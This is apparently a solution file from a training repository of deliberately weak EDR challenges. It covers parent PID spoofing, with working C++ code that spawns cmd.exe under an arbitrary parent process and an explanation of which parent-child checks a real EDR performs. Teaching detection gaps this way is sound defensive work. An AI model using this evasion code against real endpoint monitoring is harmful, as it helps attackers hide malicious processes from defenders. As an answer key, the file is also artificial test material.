BenjiTrapp-MostShittyEDR/_solutions/19-parent-pid-spoofing.md

title, difficulty, category

title	difficulty	category
Solution 19: Parent PID Spoofing	hard	Advanced Bypass

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Overview

The EDR tracks parentPid but has zero rules that analyze parent-child relationships. Spoofing the parent PID has no consequences.

Solution

// C++ code to create a process with a spoofed parent PID
#include <windows.h>

void SpawnWithParent(DWORD parentPid) {
    HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentPid);
    
    SIZE_T size = 0;
    InitializeProcThreadAttributeList(NULL, 1, 0, &size);
    
    auto attrList = (PPROC_THREAD_ATTRIBUTE_LIST)malloc(size);
    InitializeProcThreadAttributeList(attrList, 1, 0, &size);
    
    UpdateProcThreadAttribute(attrList, 0,
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
        &hParent, sizeof(HANDLE), NULL, NULL);
    
    STARTUPINFOEXW si = { sizeof(si) };
    si.lpAttributeList = attrList;
    PROCESS_INFORMATION pi;
    
    CreateProcessW(L"C:\\Windows\\System32\\cmd.exe",
        NULL, NULL, NULL, FALSE,
        EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
        (STARTUPINFOW*)&si, &pi);
}

# PowerShell using Start-Process with parent spoofing
# (requires additional tooling or P/Invoke)

Why It Works

The EDR stores parentPid from PROCESSENTRY32W.th32ParentProcessID but never checks:

• Is the parent a legitimate process for this child?
• Does the parent-child relationship follow normal Windows process trees?
• Was the parent PID artificially set?

A real EDR would flag anomalies like cmd.exe spawned by svchost.exe (PID 1234) when that svchost instance typically never spawns command shells.